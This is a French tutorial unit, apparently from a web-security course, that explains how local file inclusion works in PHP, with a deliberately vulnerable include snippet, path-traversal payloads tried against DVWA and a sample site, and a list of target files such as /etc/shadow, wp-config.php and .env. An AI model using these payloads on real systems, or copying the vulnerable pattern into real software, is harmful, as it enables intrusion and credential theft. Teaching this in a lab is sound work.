2. Anatomie d’une LFI — comment fonctionne l’inclusion locale

Dans cette unité, nous allons disséquer le mécanisme d’une faille LFI : comment PHP inclut les fichiers, quelles fonctions sont vulnérables, et comment réaliser votre première exploitation dans DVWA.

Fonctionnement de l’inclusion PHP

Quand PHP rencontre include('header.php'), il lit et exécute le fichier spécifié comme s’il faisait partie du script courant. Si le chemin est relatif, PHP le résout depuis le répertoire du script en cours ou depuis les chemins définis dans include_path.

Les quatre fonctions vulnérables

include($fichier);        // Avertissement si fichier introuvable, continue l'exécution
require($fichier);        // Erreur fatale si fichier introuvable, arrête l'exécution
include_once($fichier);   // Comme include, mais inclut une seule fois
require_once($fichier);   // Comme require, mais inclut une seule fois

Anatomie d’une LFI basique

Le code vulnérable

<?php
$page = $_GET['page'] ?? 'accueil';
include('pages/' . $page . '.php');
?>

Exploitation LFI

# Traversee basique
https://site.com/index.php?page=../../../../etc/passwd

# Avec null byte (PHP < 5.3.4, supprime l'extension .php)
https://site.com/index.php?page=../../../../etc/passwd%00

Première exploitation dans DVWA

Dans DVWA (niveau « Low »), la page vulnerabilities/fi/ utilise le paramètre page sans validation.

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../etc/php/8.1/apache2/php.ini
# Sur Windows :
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../windows/win.ini

Fichiers cibles sur Linux

/etc/passwd           # Liste des utilisateurs système
/etc/shadow           # Hachés des mots de passe (root requis)
/etc/hosts            # Résolution DNS locale
/proc/self/environ    # Variables d'environnement du processus PHP
/var/log/apache2/access.log  # Logs Apache (utile pour log poisoning)
wp-config.php         # Credentials base de données WordPress
.env                  # Variables d'environnement des frameworks modernes

Quand l’extension est forcée

Si le code ajoute .php à la fin, les contournements classiques sont :

  • Null byte (%00) : PHP < 5.3.4 seulement
  • Wrappers PHP : php://filter ignore les extensions (voir unité 6)
  • Path truncation : chemin très long (>4096 chars) sur certains systèmes
Points clés :

  • Les quatre fonctions d’inclusion PHP sont vulnérables si l’argument vient de l’utilisateur
  • Une LFI basique permet de lire des fichiers sensibles comme /etc/passwd
  • Le null byte (%00) contournait l’ajout d’extension sur PHP < 5.3.4
SEE ALL Add a note
YOU
Add your Comment